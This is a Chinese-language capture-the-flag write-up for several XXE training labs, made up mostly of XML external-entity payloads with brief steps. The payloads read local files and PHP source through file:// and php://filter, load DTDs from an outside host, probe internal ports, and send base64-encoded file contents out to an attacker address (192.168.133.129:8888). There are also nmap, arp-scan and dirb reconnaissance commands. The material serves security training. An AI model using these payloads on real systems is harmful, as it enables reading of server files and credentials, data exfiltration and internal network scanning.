pikachu-XXE靶场
1.POC:攻击测试
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "a">]>
<foo>&xxe;</foo>
2.EXP:查看文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///C:/flag/flag" > ]>
<foo>&xxe;</foo>
3.EXP:查看源码
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=D:/phpstudy/phpstudy_pro/WWW/1.php">]>
<foo>&xxe;</foo>
4.EXP:DTD外部调用
<!ENTITY evil SYSTEM "file:///C:/flag/flag">
<!DOCTYPE foo
[<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://172.16.1.195:80/evil.dtd">
%xxe;
]>
<foo>&evil;</foo>
5.EXP:探测内网存活主机与开放端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:80">
]>
<x>&rabbit</x>
端口开放回显很快
端口未开连接超时
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY rabbit SYSTEM "http://127.0.0.1:8087">
]>
<x>&rabbit</x>
6.EXP:无回显探测
<!ENTITY % start "<!ENTITY % send SYSTEM 'http://192.168.133.129:8888/?%file;'>">
%start;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://172.16.1.195/66.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/flag/flag">
%remote;
%send;
]>
XXE-Lab靶场
目标获取flag
1.访问网页
2.尝试注入,获取flag
BP抓他瞧一瞧
看到支持接收xml数据注入一下试试
text/xml和application/xml
<!DOCTYPE username [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/flag/flag">]>
<user>
<username>
&xxe;
</username>
<password>1</password>
</user>
//flag{dmsioamdoiasdmdmwmdsmd}
XXE靶机
目标获取flag
1.装好靶机
这个样子就可以了
2.获取靶机IP
用Nmap扫描整个D段获取靶机IP
nmap -O 192.168.133.129/24
或者是用命令
arp-scan -l
4.信息收集
先去看看网页
Apache的默认页面,并什么可以利用的
利用dirb工具去扫一下后台目录和文件
dirb http://192.168.133.131/
挨个访问一遍后发现两个登录界面
5.尝试注入
xxe有回显点
抓包看看;尝试注入
查看admin.php的源码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/admin.php">]>
<root>
<name>
&xxe;
</name>
<password>
1
</password>
</root>
解密后,在看源码发现好像是账号密码;去解密一下登录试试
登录后是这样,点击Flag后发现新的php文件
去访问看看
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///var/www/html/xxe/flagmeout.php">]>
<root>
<name>
&xxe;
</name>
<password>
1
</password>
</root>
解密后
Base32解密后发现还得64解码
得到一个php文件去访问试试
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///etc/.flag.php">]>
<root>
<name>
&xxe;
</name>
<password>
1
</password>
</root>
6.成功获取flag
在php文件中运行
访问一下就成功获取flag
SAFCSP{xxe_is_so_easy}